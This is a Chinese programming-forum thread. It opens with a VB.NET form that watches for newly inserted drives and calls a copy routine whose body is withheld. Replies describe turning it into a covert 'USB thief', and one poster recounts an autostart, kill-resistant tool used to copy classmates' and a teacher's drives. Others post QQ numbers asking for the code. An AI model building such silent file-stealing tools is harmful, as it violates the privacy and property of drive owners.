Public Class Form1 Inherits System.Windows.Forms.Form Dim drives1 As String() Dim drives2 As String() Dim drives As String#Region " Windows 窗体设计器生成的代码 " Public Sub New() MyBase.New() '该调用是 Windows 窗体设计器所必需的。 InitializeComponent() '在 InitializeComponent() 调用之后添加任何初始化 End Sub '窗体重写 dispose 以清理组件列表。 Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean) If disposing Then If Not (components Is Nothing) Then components.Dispose() End If End If MyBase.Dispose(disposing) End Sub 'Windows 窗体设计器所必需的 Private components As System.ComponentModel.IContainer '注意: 以下过程是 Windows 窗体设计器所必需的 '可以使用 Windows 窗体设计器修改此过程。 '不要使用代码编辑器修改它。 Friend WithEvents Timer1 As System.Windows.Forms.Timer
Private Sub InitializeComponent() Me.components = New System.ComponentModel.Container Me.Timer1 = New System.Windows.Forms.Timer(Me.components) ' 'Timer1 ' ' 'Form1 ' Me.AutoScaleBaseSize = New System.Drawing.Size(6, 14) Me.ClientSize = New System.Drawing.Size(292, 273) Me.Name = "Form1" Me.Text = "Form1" End Sub#End Region Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load drives1 = System.IO.Directory.GetLogicalDrives() Timer1.Enabled = True End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick On Error Resume Next drives2 = System.IO.Directory.GetLogicalDrives() If drives1(drives1.Length - 1) <> drives2(drives2.Length - 1) Then drives = drives2(drives2.Length - 1) UPcopy(drives) End If End SubPrivate Sub UPcopy(ByVal drive As String)加密部分，想要的，可以联系。。。。End SubEnd Class

汗!刚学的东西就出来晒.

我要代码的解释

我是一个编程爱好者。我想要。我QQ是427754611 加我！谢谢

有没有详细的

..

哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈

看不见图…

看了他的代码产生个疑问vb.net 里用 On Error Resume Next ?貌似容易造成不少麻烦事吧。

这个程序是什么意思？？？？？不明白！！！！

这程序可以改一下，通过windows的消息机制将其改为U盘小偷

e~~~~~
这个也要`````````，不就是foreach一下目录再来个Process类就行了嘛
以前为了偷老师的ppt，做过一个，但最好笑的是设计时设成了自动启动、被防kill，且无过滤文件格式（当初想要偷就偷全部的，反正两节课，copy一个U盘不算什么），结果几天下来连其它同学U盘上的A片也拿了过来

..

我有一个vb2005编的

o

我也要 代码！！！
QQ 365436094

我也要  研究研究 qq 635325076

我也想要一个，学习一下409537647  非常感谢

我也想要来一个学习学习　qq121033411

我直接用的windows消息